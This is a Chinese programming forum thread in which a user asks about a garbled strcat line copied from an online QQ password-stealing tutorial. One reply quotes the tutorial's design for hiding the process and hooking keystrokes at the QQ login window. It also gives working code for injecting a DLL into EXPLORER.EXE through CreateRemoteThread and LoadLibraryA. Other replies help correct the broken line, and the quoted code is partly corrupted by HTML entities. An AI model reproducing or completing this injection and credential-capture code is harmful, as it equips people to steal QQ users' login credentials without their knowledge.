//取得目标DLL的当前路径(路径可自由设置) 
char szInspectDllPath[128] ; 
GetCurrentDirectory ( 128, szInspectDllPath ) ; 
strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ) ; 
不知道">\\debug\\InspectQQLandDlg.dll指的是什么?

解决方案 »

  1.   

    strcat 的意思是追回字符.这个代码是你自己写的,什么意思得问你自己.然后你的这个代码编译肯定会出错,感叹号竟然出现了三个
      

  2.   

    是追加字符串,不过字符串数组要足够大.char szStr[255];strcpy(szSstr, "c:\\program file\\");
    strcat(szStr, "InspectQQLandDlg.dll");这样szStr就是c:\\program file\\InspectQQLandDlg.dll
      

  3.   

    ">\\debug\\InspectQQLandDlg.dll
    这个东西是哪里来得啊??
      

  4.   

    ">\\debug\\InspectQQLandDlg.dll
    -------------
    楼主肯定是从网页上复制代码粘贴到IDE里面的,所以有这些乱七八糟的字符
    &gt;明显是个<符号
      

  5.   

    对,楼上的大侠,我的就是从网上复制粘贴的代码,如果恢复正常应该是什么样子啊?网上看了一篇QQ盗号核心编程,网址:http://www.6ie6.com/dispbbs.asp?boardid=38&replyid=943&id=838&page=7&skin=0
    以下是部分内容:
    想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。 先讲一下思路:需要三个进程A,B,C;两个DLL。 初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。 进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。 进程C为目标进程在这里也就是QQ.EXE。 第一个DLL(InspectQQLandDlg.dll),远程线程的载体。 第二个DLL(MyHook.dll),全局钩子函数的载体。 现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。 这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。 1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单 HANDLE hSnapshot ; 
    hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ; 
    if ( hSnapshot == INVALID_HANDLE_value) 

    return 0; 
    } string lpName = "EXPLORER.EXE" ; //设定需要监视的进程名 
    PROCESSENTRY32 pe; 
    pe.dwSize = sizeof ( PROCESSENTRY32 ); for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk = 
    Process32Next( hSnapshot, &pe ) ) 

    if ( pe.szExeFile == lpName ) 
    { //取得宿主进程(EXPLORER.EXE)的句柄 
    HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS, 
    false, pe.th32ProcessID ) ; //取得目标DLL的当前路径(路径可自由设置) 
    char szInspectDllPath[128] ; 
    GetCurrentDirectory ( 128, szInspectDllPath ) ; 
    strcat ( szInspectDllPath, "QQLandDlg.dll"&gt;&#92;&#92;debug&#92;&#92;InspectQQLandDlg.dll" ) ; //申请存放文件名的空间 
    LPVOID pszInspectDllRemote ; 
    int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ; 
    pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess, 
    NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ; //把dll文件名写入申请的空间 
    WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote, 
    (LPVOID)szInspectDllPath, InspectDllNameLength, NULL); //获取动态链接库函数地址 
    HMODULE hModule ; 
    hModule = GetModuleHandle ( "kernel32.DLL" ) ; 
    LPTHREAD_START_ROUTINE fnStartAddr ; 
    fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule, 
    "LoadLibraryA" ) ; //创建远程线程 
    HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄 
    hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0, 
    fnStartAddr, pszInspectDllRemote, 0, NULL ) ; if( hSnapshot != NULL ) 
    CloseHandle ( hSnapshot ) ;//关闭进程快照 CloseHandle ( hRemoteProcess ) ; 
    break ; 

      

  6.   

    //取得目标DLL的当前路径(路径可自由设置)   
       char szInspectDllPath[128] ;   
       GetCurrentDirectory ( 128, szInspectDllPath ) ;    
       strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ); 
    请问上面的strcat一句表示什么意思啊?>是什么意思?  
      

  7.   

    strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ); 
    这句话是错误的,所以不用明白是什么意思了.你运行看就知道了
      

  8.   

    没什么意思,笔误了,既然路径可自由设置,你就随便指定个路径
       char szInspectDllPath[128] ;   
       GetCurrentDirectory ( 128, szInspectDllPath ) ;    
       strcat ( szInspectDllPath, "\\debug\\InspectQQLandDlg.dll" );
      

  9.   

    TCHAR szInspectDllPath[128]; 
    GetCurrentDirectory ( 128, szInspectDllPath );
    _tprintf(_T("Current Directory is %s\n"),szInspectDllPath);请问_T是什么意思?为什么要加上它?用printf("Current Directory is %s\n",szInspectDllPath);不是也一样吗?
      

  10.   

    你想写这些东西,还不如去好好看看《windows核心编程》
      

  11.   

    兼容UNICODE环境,windows下应该是UNICODE环境吧?但printf也能输出汉字啊?也能得到正确的结果,本人是菜鸟,UNICODE环境,不是很理解,楼上的能否讲一下啊?
      

  12.   

    在UNICODE下,一个汉字应该是以一个WCHAR字符存储吧?是不是这样?如果是ANSI Code下那?是不是用两个char字符存储一个汉字那?